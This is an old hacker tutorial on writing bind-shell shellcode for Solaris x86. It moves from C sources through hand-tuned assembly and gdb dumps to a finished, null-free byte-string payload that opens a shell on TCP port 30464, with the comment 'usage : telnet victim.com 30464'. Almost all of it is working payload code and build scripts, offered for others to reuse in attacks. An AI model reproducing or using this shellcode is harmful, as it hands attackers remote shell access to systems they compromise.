===================================================== Solaris x86 bind shelldode here ! "code name : Bacchante" "165.246.33.21/bacchante" ===================================================== reported by truefinder, seo@igrus.inha.ac.kr This document is one of the result for shellcode project named bacchante , which is next codename of syrinx (olymfair team in 2th information security competition) i've reduced comments, cuz of shellcode is not strategy but only technics. our goal of this work is that pulling byte codes for "shellcode for bindshell in the solaris (x86)" ,still never published on internet even like www.hack.co.za, rooshell, any teams, any groups ... since you could trace some my works in this document, you could improve method, could creat your own code. 1t's a kinda fan service, but remember that it's all up to you. :) ++ bindsh.c ++ /* * general source code for bind shell. * */ #include #include #include #include #include #include main() { int soc,cli,soc_len; struct sockaddr_in serv_addr; struct sockaddr_in cli_addr; if( fork() == 0 ) { serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons( 30464 ); serv_addr.sin_addr.s_addr = htonl (INADDR_ANY); soc = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); bind( soc, (struct sockaddr *)&serv_addr, sizeof(serv_addr) ); listen(soc, 1); soc_len = sizeof(cli_addr); cli = accept(soc, (struct sockaddr *)&cli_addr, &soc_len ); dup2(cli, 0); dup2(cli, 1); dup2(cli, 2); execl( "/bin/sh", "sh", 0 ); } } -- bindsh.c -- ++ bindsh2.c ++ /* * optimized, light bindshell code line * */ #include #include #include #include int soc; int cli; struct sockaddr_in serv_addr; int main() { if( fork() == 0 ) { serv_addr.sin_family = 2; serv_addr.sin_addr.s_addr = 0; serv_addr.sin_port = 0x77; soc = socket ( 2, 2, 6 ); bind ( soc, (struct sockaddr *)&serv_addr, 0x10 ); listen(soc,1); cli = accept(soc,0,0); dup2(cli,0); dup2(cli,1); dup2(cli,2); execl("/bin/sh", "sh", 0); } } -- bindsh2.c -- For the convenience of our next work, we would use two scripts, sucker and broker . you could see it pervious document sol-x86-test.txt also. they might help us to work easily ++ broker.sh ++ #!/bin/sh # # This is the "broker" to test if shellcode works well # use script like this $./broker data.d # # data.d must be below feature # # 0x80481e7 : 0xeb 0x37 0x5e 0x6a 0x00 0xc6 0x46 0x07 # 0x80481ef : 0x00 0x89 0x76 0x08 0xc7 0x46 0x0c 0x00 # 0x80481f7 : 0x00 0x00 0x00 0x8d 0x46 0x08 0x50 0x56 # 0x80481ff : 0x6a 0x00 0x33 0xc0 0xb8 0x3b 0x00 0x00 # 0x8048207 : 0x00 0x9a 0x00 0x00 0x00 0x00 0x07 0x00 # 0x804820f : 0xba 0x00 0x00 0x00 0x00 0xb8 0x01 0x00 # 0x8048217 : 0x00 0x00 0x9a 0x00 0x00 0x00 0x00 0x07 # 0x804821f : 0x00 0xe8 0xc4 0xff 0xff 0xff 0x2f 0x62 # 0x8048227 : 0x69 0x6e 0x2f 0x73 0x68 0x00 0x00 0x00 # 0x804822f : 0x00 0x00 0xc9 0xc3 # # After broker process , u can test it easily. if [ -z $1 ] then echo -e "usaga: broker \n" exit 1 fi cat > test.c << __EOF_START__ char code[] = __EOF_START__ awk '{ print $3,$4,$5,$6,$7,$8,$9,$10 }' $1 | \ sed -e 's/ //g' | sed -e 's/0x/\\x/g'| sed -e 's/^/"/g' | sed -e 's/$/"/g' >> test.c cat >> test.c << __EOF_END__ ; void (*f)(); main() { f = code; f(); } __EOF_END__ gcc -o test test.c -g echo "Use this to test raw shellcode : ./test !" -- broker.sh -- ++ sucker.sh ++ #!/bin/sh # # sucker is a compile script to link assembly to c program # result output may be test file. # excute test ! /usr/local/bin/as -o $1.o $1.s /usr/local/bin/gcc -o test skel.o $1.o echo "Use ./test now!"; -- sucker.sh -- ++ sckel.c ++ /* * gcc -c skel.c */ main() { _asm_start(); } -- skel.c -- Usage : You have to code assembly with .s file including _asm_start() function. Next, compile and link that source with sucker, ./sucker your_code and you could also pull whole byte codes out from result of sucker "test" using gdb or the other debuger like this (gdb) x/100bx _asm_start let's drug & drop it to the file data.d and make it excution file use the broker ./broker data.d then last of our work is confirmation whether it works or not ./test Our stack feature might be below int soc(4), cli(4) ; struct serv_addr(16){ serv_addr.sin_family(2), serv_addr.sin_port(2), serv_addr.sin_addr.s_addr(4), serv_addr.sin_zero(8) }; # pushl %ebp # movl %esp,%ebp # subl $24,%esp -0x0(%ebp) soc (4); -0x4(%ebp) cli (4); -0x8(%ebp) serv_addr.sin_family (2) -0xa(%ebp) serv_addr.sin_port (2) -0xc(%ebp) serv_addr.sin_addr.s_addr (4) -0x10(%ebp) serv_addr.sin_zero (8) (gdb) x/4bx &cli 0x8049724 : 0x00 0x00 0x00 0x00 (gdb) x/16x &serv_addr 0x8049728 : 0x02 0x00 0x77 0x00 0x00 0x00 0x00 0x00 0x8049730 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 (gdb) x/4bx &soc 0x8049738 : 0x00 0x00 0x00 0x00 Solaris has no dup2 syscall in his syscall table , there are just dup() syscall. ... #define SYS_dup 41 ... So we have to choice another way. ... #define SYS_fcntl 62 ... Improve C line and , also assembly. fnclt() could do role of the dup2() library routine in solaris. ++ bindsh3.c ++ /* * improved bindshell C code line in the sol-x86 * */ #include #include #include #include #include #include int soc, cli; struct sockaddr_in serv_addr; int main() { if( fork() == 0 ) { serv_addr.sin_family = 2; serv_addr.sin_addr.s_addr = 0; serv_addr.sin_port = 0x77; soc = socket ( 2, 2, 6 ); bind ( soc, (struct sockaddr *)&serv_addr, 0x10 ); listen(soc,1); cli = accept(soc,0,0); fcntl(cli, F_DUP2FD, STDOUT_FILENO ); fcntl(cli, F_DUP2FD, STDIN_FILENO ); fcntl(cli, F_DUP2FD, STDERR_FILENO ); execl("/bin/sh", "sh", 0); } } -- bindsh3.s -- ++ bindsh3.s ++ # raw assembly for bindshell # but it's not realy raw. .file "bind3.c" .version "01.01" gcc2_compiled.: .section .rodata .LC0: .string "sh" .LC1: .string "/bin/sh" .text .align 4 .globl main .type main,@function main: pushl %ebp movl %esp,%ebp subl $8,%esp call fork movl %eax,%eax testl %eax,%eax jne .L3 movw $2,serv_addr movl $0,serv_addr+4 movw $119,serv_addr+2 addl $-4,%esp pushl $6 pushl $2 pushl $2 call socket addl $16,%esp movl %eax,%eax movl %eax,soc addl $-4,%esp pushl $16 pushl $serv_addr movl soc,%eax pushl %eax call bind addl $16,%esp addl $-8,%esp pushl $1 movl soc,%eax pushl %eax call listen addl $16,%esp addl $-4,%esp pushl $0 pushl $0 movl soc,%eax pushl %eax call accept addl $16,%esp movl %eax,%eax movl %eax,cli addl $-4,%esp pushl $1 pushl $9 movl cli,%eax pushl %eax call fcntl addl $16,%esp addl $-4,%esp pushl $0 pushl $9 movl cli,%eax pushl %eax call fcntl addl $16,%esp addl $-4,%esp pushl $2 pushl $9 movl cli,%eax pushl %eax call fcntl addl $16,%esp addl $-4,%esp pushl $0 pushl $.LC0 pushl $.LC1 call execl addl $16,%esp .L3: .L2: leave ret .Lfe1: .size main,.Lfe1-main .comm soc,4,4 .comm cli,4,4 .comm serv_addr,16,4 .ident "GCC: (GNU) 2.95.2 19991024 (release)" -- bindsh3.s -- The "call" is not the raw system call, solaris x86 uses "lcall section,offset" for software interrupt. so we couldn't use general aleph1's method. ( disassembly static instruction, analsys it, construct as our one . ) Since even Solaris didn't support static compile against socket function exactly -ldl, we have to code assembly program for aggressive bindshelll at last. first of all, Let's disassemble fnctl() in real status ! (gdb) disas main Dump of assembler code for function main: 0x80481e4
: push %ebp 0x80481e5 : mov %esp,%ebp 0x80481e7 : sub $0x18,%esp 0x80481ea : add $0xfffffff8,%esp 0x80481ed : push $0x806057c 0x80481f2 : push $0x806057f 0x80481f7 : call 0x805b5f4 0x80481fc : add $0x10,%esp 0x80481ff : mov %eax,%eax 0x8048201 : mov %eax,0xfffffffc(%ebp) 0x8048204 : add $0xfffffff8,%esp 0x8048207 : mov 0xfffffffc(%ebp),%eax 0x804820a : push %eax 0x804820b : push $0x8060589 0x8048210 : call 0x8048384 0x8048215 : add $0x10,%esp 0x8048218 : add $0xfffffffc,%esp 0x804821b : push $0x0 0x804821d : push $0x9 0x804821f : mov 0xfffffffc(%ebp),%eax 0x8048222 : push %eax 0x8048223 : call 0x805b5b0 0x8048228 : add $0x10,%esp 0x804822b : mov %eax,%eax 0x804822d : mov %eax,0xfffffff8(%ebp) 0x8048230 : add $0xfffffff8,%esp 0x8048233 : mov 0xfffffff8(%ebp),%eax 0x8048236 : push %eax 0x8048237 : push $0x8060593 0x804823c : call 0x8048384 0x8048241 : add $0x10,%esp 0x8048244 : leave 0x8048245 : ret End of assembler dump. (gdb) disas fcntl Dump of assembler code for function fcntl: 0x805b5b0 : push %ebp 0x805b5b1 : mov %esp,%ebp 0x805b5b3 : pushl 0x10(%ebp) 0x805b5b6 : pushl 0xc(%ebp) 0x805b5b9 : pushl 0x8(%ebp) 0x805b5bc : call *0x806ab0c 0x805b5c2 : add $0xc,%esp 0x805b5c5 : leave 0x805b5c6 : ret 0x805b5c7 : nop End of assembler dump. (gdb) disas *0x806ab0c Dump of assembler code for function s_fcntl: 0x805d4f4 : push %ebp 0x805d4f5 : mov %esp,%ebp 0x805d4f7 : sub $0x10,%esp 0x805d4fa : push %ebx 0x805d4fb : push %esi .... .. (gdb) disas __fcntl Dump of assembler code for function __fcntl: 0x805d664 <__fcntl>: mov $0x3e,%eax 0x805d669 <__fcntl+5>: lcall $0x7,$0x0 0x805d670 <__fcntl+12>: jae 0x805d67c 0x805d672 <__fcntl+14>: cmp $0x5b,%al 0x805d674 <__fcntl+16>: je 0x805d664 <__fcntl> 0x805d676 <__fcntl+18>: jmp 0x8060399 <__cerror> 0x805d67b <__fcntl+23>: nop End of assembler dump. Attention ! solaris use double parameter stacking in fcntl(). so we have to do some art of stack with dummy data like dummy_ret, dummy_ebp. And you can see our assembly code below. # fcntl(cli, F_DUP2FD, STDIN_FILENO); # # --------------- pushl $0 # STDIN_FILENO pushl $9 # F_DUP2DF pushl -0x4(%ebp) # cli # --------------- pushl $0xffffffff # dummy value pushl $0xffffffff # # --------------- pushl $0 # STDIN_FIlENO pushl $9 # F_DUUP2DF ; double stacking ! pushl -0x4(%ebp) # cli # --------------- pushl $0xffffffff # movl $62,%eax # system call here ! lcall $0x7,$0x0 # addl $36,%esp # And totaly assembly source code below . ++ bind.s ++ # (improved 2001/05/28, 2001/05/30, 2001/05/31) .text .globl _asm_start _asm_start: pushl %ebp movl %esp,%ebp # %ebp addr may be used # as a frame index # int soc,cli; # struct sockaddr_in serv_addr; subl $24,%esp # if( fork() ==0 ) # pushl 0xffff # pushl 0xffff # pushl 0xffff # movl $0x2,%eax # lcall $0x7,$0x0 # addl $12,%esp # testl %eax,%eax # jne _asm_end #_ok # serv_addr.sin_family = 2 (AF_INET); # serv_addr.sin_addr.s_addr = 0 (INADDR_ANY); # serv_addr.sin_port = 0x77 (30464); # ebp-24 ... movl $0x0, -0x14(%ebp) # ebp-20 ; serv_addr.sin_family, serv_addr.sin_port movl $0x0, -0x10(%ebp) # ebp-16 ; serv_addr.sin_addr.s_addr movl $0x0, -0xc(%ebp) # ebp-12 ; ... movl $0x0, -0x8(%ebp) # ebp-8 ; serv_addr.sin_data[8] movl $0x0, -0x4(%ebp) # epb-4 ; int cli movl $0x0, -0x0(%ebp) # ebp-0 ; int soc #movl $0x0,-0xc(%ebp) movl $0x2,-0x14(%ebp) movw $0x77,-0x12(%ebp) # cuz of overwriting #_ok # soc = socket ( 2, 2, 6); pushl $0x6 pushl $0x2 pushl $0x2 pushl $0xffffffff # dummy retaddr movl $230,%eax lcall $0x7,$0x0 addl $16,%esp #offset movl %eax,-0x0(%ebp) #_ok # bind ( soc, (struct sockaddr * )&serv_addr, 16 ); pushl $16 leal -0x14(%ebp), %eax pushl %eax pushl -0x0(%ebp) pushl $0xffffffff # dummy retaddr movl $232,%eax lcall $0x7,$0x0 addl $16,%esp #offset #_ok # listen ( soc, 1); pushl $1 pushl -0x0(%ebp) pushl $0xffffffff # dummy retaddr movl $233,%eax lcall $0x7,$0x0 addl $12,%esp #offset #_ok # cli = accept( soc, 0, 0); pushl $0x0 pushl $0x0 pushl -0x0(%ebp) pushl $0xffffffff #offset movl $234,%eax lcall $0x7,$0x0 addl $16,%esp movl %eax,-0x4(%ebp) #ok ## Warning! there are no dup2() syscall. ## so we have to use fcntl() syscall ## #define SYS_fcntl 62 ## ## dup2 ( cli,0 ); ## pushl $0x0 ## pushl -0x4(%ebp) ## pushl 0xffffffff # dummy ret ## movl $41,%eax ## lcall $0x7,$0x0 ## addl $12,%esp ## dup2 ( cli,1 ); ## pushl $0x1 ## pushl -0x4(%ebp) ## pushl 0xffffffff # dummy ret ## movl $41,%eax ## lcall $0x7,$0x0 ## addl $12,%esp # fcntl(cli, F_DUP2FD, STDIN_FILENO); pushl $0 pushl $9 pushl -0x4(%ebp) pushl $0xffffffff # ret dummy pushl $0xffffffff # saved ebp dummy pushl $0 pushl $9 pushl -0x4(%ebp) pushl $0xffffffff # saved ebp dummy movl $62,%eax lcall $0x7,$0x0 addl $36,%esp #_ok # fcntl(cli, F_DUP2FD, STDOUT_FILENO); pushl $1 pushl $9 pushl -0x4(%ebp) pushl $0xffffffff # ret dummy pushl $0xffffffff # saved ebp dummy pushl $1 pushl $9 pushl -0x4(%ebp) pushl $0xffffffff # ret dummy movl $62,%eax lcall $0x7,$0x0 addl $36,%esp #_ok # fcntl(cli, F_DUP2FD, STDERR_FILENO); pushl $2 pushl $9 pushl -0x4(%ebp) pushl $0xffffffff # ret dummy pushl $0xffffffff # saved ebp dummy pushl $1 pushl $9 pushl -0x4(%ebp) pushl $0xffffffff # ret dummy movl $62,%eax lcall $0x7,$0x0 addl $36,%esp #-ok # execve( name[0], name, 0); jmp string_loc shell_start: popl %esi pushl $0x00000000 # dummy ret # "/bin/sh" movb $0x0, 0x7(%esi) # \0 movl %esi, 0x8(%esi) # addr movl $0x0, 0xc(%esi) # leal 0x8(%esi),%eax pushl %eax pushl %esi pushl $0x00000000 # dummy ret xorl %eax,%eax movl $0x3b,%eax lcall $0x7,$0x0 #code_exit: # movl $0x1,%eax # movl $0x0,%edx # lcall $0x7,$0x0 string_loc: call shell_start .string "/bin/sh" #_ok # _EOF_ x86-solaris bindshellcode # last update 2001/05/31 -- bind.s -- I've forced to annote to "fork() part" becouse it's difficult to control child process, so speak to say , above source code is just testing code ,whether it works or not. As a matter of course, We could test it with sucker, gdb and broker... ++ test.c ++ /* * raw shellcode for sol-x86-bindshell * it need not '-ldl' option to use library. * * gcc -o test test.c ; telnet localhost 30464 * */ char code[] = "\x55\x89\xe5\x83\xec\x18\xc7\x45" "\xec\x00\x00\x00\x00\xc7\x45\xf0" "\x00\x00\x00\x00\xc7\x45\xf4\x00" "\x00\x00\x00\xc7\x45\xf8\x00\x00" "\x00\x00\xc7\x45\xfc\x00\x00\x00" "\x00\xc7\x45\x00\x00\x00\x00\x00" "\xc7\x45\xec\x02\x00\x00\x00\x66" "\xc7\x45\xee\x77\x00\x6a\x06\x6a" "\x02\x6a\x02\x6a\xff\xb8\xe6\x00" "\x00\x00\x9a\x00\x00\x00\x00\x07" "\x00\x83\xc4\x10\x89\x45\x00\x6a" "\x10\x8d\x45\xec\x50\xff\x75\x00" "\x6a\xff\xb8\xe8\x00\x00\x00\x9a" "\x00\x00\x00\x00\x07\x00\x83\xc4" "\x10\x6a\x01\xff\x75\x00\x6a\xff" "\xb8\xe9\x00\x00\x00\x9a\x00\x00" "\x00\x00\x07\x00\x83\xc4\x0c\x6a" "\x00\x6a\x00\xff\x75\x00\x6a\xff" "\xb8\xea\x00\x00\x00\x9a\x00\x00" "\x00\x00\x07\x00\x83\xc4\x10\x89" "\x45\xfc\x6a\x00\x6a\x09\xff\x75" "\xfc\x6a\xff\x6a\xff\x6a\x00\x6a" "\x09\xff\x75\xfc\x6a\xff\xb8\x3e" "\x00\x00\x00\x9a\x00\x00\x00\x00" "\x07\x00\x83\xc4\x24\x31\xd2\x31" "\xd2\x31\xd2\x6a\x01\x6a\x09\xff" "\x75\xfc\x6a\xff\x6a\xff\x6a\x01" "\x6a\x09\xff\x75\xfc\x6a\xff\xb8" "\x3e\x00\x00\x00\x9a\x00\x00\x00" "\x00\x07\x00\x83\xc4\x24\x6a\x02" "\x6a\x09\xff\x75\xfc\x6a\xff\x6a" "\xff\x6a\x01\x6a\x09\xff\x75\xfc" "\x6a\xff\xb8\x3e\x00\x00\x00\x9a" "\x00\x00\x00\x00\x07\x00\x83\xc4" "\x24\xeb\x26\x5e\x6a\x00\xc6\x46" "\x07\x00\x89\x76\x08\xc7\x46\x0c" "\x00\x00\x00\x00\x8d\x46\x08\x50" "\x56\x6a\x00\x31\xc0\xb8\x3b\x00" "\x00\x00\x9a\x00\x00\x00\x00\x07" "\x00\xe8\xd5\xff\xff\xff\x2f\x62" "\x69\x6e\x2f\x73\x68" ; void (*f)(); main() { f = code; f(); } -- test.c -- Well, it works ! our thinking was correctly coincided. but, don't smile with a pleased expression of coutenance. this is just raw shellcode, which needed replacement of some instruction. something movl $0x0,%eax -> xorl %eax,%eax And now we start improving our code more completely! Let's check the rules 1. -0x0(%ebp) has the null code, it may be replaced to -0x4(%ebp) and also -0x4 -> -0x8, -0x8 -> -0xc ... 2. $0x0 must be xorl %eax,%eax; movl %eax,??? 3. lcall has so many null code about 5byte, so we will improve it as a self modifing code lcall $0x7,$0x0 : "\x9a\xff\xff\xff\xff\x07\xff" ------> "\x9a\x00\x00\x00\x00\x7c\x00" 4. we've used the dummy ret in above source code, but now we should have the return address of call instruction, since "call lcall_string_here" must be back to his code, next instruction. let's annotate to the source or delete. ++ last-bind.s ++ # # solaris x86 bind shellcode # truefinder , seo@igrus.inha.ac.kr # usage : telnet victim.com 30464 .text .globl _asm_start _asm_start: pushl %ebp movl %esp,%ebp # %ebp addr may be used # as a frame index #################################################### # lcall $0x7,$0x0 == call lcall_string_here #################################################### jmp make_lcall_string self_modify_lcall: popl %esi xorl %ebx,%ebx movl %ebx, 0x1(%esi) movb %bl, 0x6(%esi) movl %esi, %ebx addb $0x8, %bl jmp blah make_lcall_string: call self_modify_lcall lcall_string_here: .ascii "\x9a\xff\xff\xff\xff\x07\xff" ret blah: #################################################### # int soc,cli; # struct sockaddr_in serv_addr; subl $28,%esp # serv_addr.sin_family = 2 (AF_INET); # serv_addr.sin_addr.s_addr = 0 (INADDR_ANY); # serv_addr.sin_port = 0x77 (30464); xorl %edx,%edx # ebp-28 ... movl %edx, -0x18(%ebp) # ebp-24 ; serv_addr.sin_family, serv_addr.sin_port movl %edx, -0x14(%ebp) # ebp-20; serv_addr.sin_addr.s_addr movl %edx, -0x10(%ebp) # ebp-16 ; ... movl %edx, -0xc(%ebp) # ebp-12 ; serv_addr.sin_data[8] movl %edx, -0x8(%ebp) # epb-8 ; int cli movl %edx, -0x4(%ebp) # ebp-4 ; int soc #movl $0x0,-0x10(%ebp) movb $0x2,-0x18(%ebp) movb $0x77,-0x16(%ebp) # cuz of overwriting # soc = socket ( 2, 2, 6); pushl $0x6 pushl $0x2 pushl $0x2 # pushl $0xffffffff # dummy retaddr xorl %eax,%eax movb $230,%al ## lcall $0x7,$0x0 call lcall_string_here addl $16,%esp #offset movl %eax,-0x4(%ebp) # bind ( soc, (struct sockaddr * )&serv_addr, 16 ); pushl $16 leal -0x18(%ebp), %eax pushl %eax pushl -0x4(%ebp) # pushl $0xffffffff # dummy retaddr xorl %eax,%eax movb $232,%al ## lcall $0x7,$0x0 call lcall_string_here addl $16,%esp #offset # listen ( soc, 1); pushl $1 pushl -0x4(%ebp) # pushl $0xffffffff # dummy retaddr xorl %eax,%eax movb $233,%al ## lcall $0x7,$0x0 call lcall_string_here addl $12,%esp #offset # cli = accept( soc, 0, 0); xorl %edx,%edx pushl %edx pushl %edx pushl -0x4(%ebp) # pushl $0xffffffff #ret dummy xorl %eax,%eax movb $234,%al ## lcall $0x7,$0x0 call lcall_string_here addl $16,%esp movl %eax,-0x8(%ebp) # fcntl(cli, F_DUP2FD, STDIN_FILENO); xorl %edx,%edx pushl %edx pushl $9 pushl -0x8(%ebp) pushl $0xffffffff # ret dummy pushl $0xffffffff # saved ebp dummy pushl %edx pushl $9 pushl -0x8(%ebp) # pushl $0xffffffff # ret dummy xorl %eax,%eax movb $62,%al ## lcall $0x7,$0x0 call lcall_string_here addl $36,%esp # fcntl(cli, F_DUP2FD, STDOUT_FILENO); pushl $1 pushl $9 pushl -0x8(%ebp) pushl $0xffffffff # ret dummy pushl $0xffffffff # saved ebp dummy pushl $1 pushl $9 pushl -0x8(%ebp) # pushl $0xffffffff # ret dummy xorl %eax,%eax movb $62,%al ## lcall $0x7,$0x0 call lcall_string_here addl $36,%esp # fcntl(cli, F_DUP2FD, STDERR_FILENO); pushl $2 pushl $9 pushl -0x8(%ebp) pushl $0xffffffff # ret dummy pushl $0xffffffff # saved ebp dummy pushl $2 pushl $9 pushl -0x8(%ebp) # pushl $0xffffffff # ret dummy xorl %eax,%eax movb $62,%al ## lcall $0x7,$0x0 call lcall_string_here addl $36,%esp # execve( name[0], name, 0); jmp string_loc shell_start: popl %esi xorl %edx,%edx pushl %edx # dummy ret # "/bin/sh" movb %dl, 0x7(%esi) # \0 movl %esi, 0x8(%esi) # addr movl %edx, 0xc(%esi) # leal 0x8(%esi),%eax pushl %eax pushl %esi pushl %edx # dummy ret xorl %eax,%eax movb $0x3b,%al ## lcall $0x7,$0x0 jmp lcall_string_here #_asm_end: # leave # ret # exit(); # movl $0x1,%eax # movl $0x0,%edx # lcall $0x7,$0x0 string_loc: call shell_start .string "/bin/sh" # _EOF_ x86-solaris bindshellcode # last update 2001/05/31, 2001/06/12 -- last-bind.s -- And our complete bindshell code here ! ++ test.c ++ /* * solaris x86 bindshellcode * truefinder, seo@igrus.inha.ac.kr * * telnet localhost 30464 * */ char code[] = "\x55\x89\xe5\xeb\x10\x5e\x31\xdb\x89\x5e\x01\x88\x5e\x06\x89\xf3" "\x80\xc3\x08\xeb\x0d\xe8\xeb\xff\xff\xff\x9a\xff\xff\xff\xff\x07" "\xff\xc3\x83\xec\x1c\x31\xd2\x89\x55\xe8\x89\x55\xec\x89\x55\xf0" "\x89\x55\xf4\x89\x55\xf8\x89\x55\xfc\xc6\x45\xe8\x02\xc6\x45\xea" "\x77\x6a\x06\x6a\x02\x6a\x02\x31\xc0\xb0\xe6\xe8\xca\xff\xff\xff" "\x83\xc4\x10\x89\x45\xfc\x6a\x10\x8d\x45\xe8\x50\xff\x75\xfc\x31" "\xc0\xb0\xe8\xe8\xb2\xff\xff\xff\x83\xc4\x10\x6a\x01\xff\x75\xfc" "\x31\xc0\xb0\xe9\xe8\xa1\xff\xff\xff\x83\xc4\x0c\x31\xd2\x52\x52" "\xff\x75\xfc\x31\xc0\xb0\xea\xe8\x8e\xff\xff\xff\x83\xc4\x10\x89" "\x45\xf8\x31\xd2\x52\x6a\x09\xff\x75\xf8\x6a\xff\x6a\xff\x52\x6a" "\x09\xff\x75\xf8\x31\xc0\xb0\x3e\xe8\x6d\xff\xff\xff\x83\xc4\x24" "\x6a\x01\x6a\x09\xff\x75\xf8\x6a\xff\x6a\xff\x6a\x01\x6a\x09\xff" "\x75\xf8\x31\xc0\xb0\x3e\xe8\x4f\xff\xff\xff\x83\xc4\x24\x6a\x02" "\x6a\x09\xff\x75\xf8\x6a\xff\x6a\xff\x6a\x02\x6a\x09\xff\x75\xf8" "\x31\xc0\xb0\x3e\xe8\x31\xff\xff\xff\x83\xc4\x24\xeb\x1c\x5e\x31" "\xd2\x52\x88\x56\x07\x89\x76\x08\x89\x56\x0c\x8d\x46\x08\x50\x56" "\x52\x31\xc0\xb0\x3b\xe9\x10\xff\xff\xff\xe8\xdf\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68" ; void (*f)(); main() { f = code; f(); } -- test.c -- _EOF_CONTENT_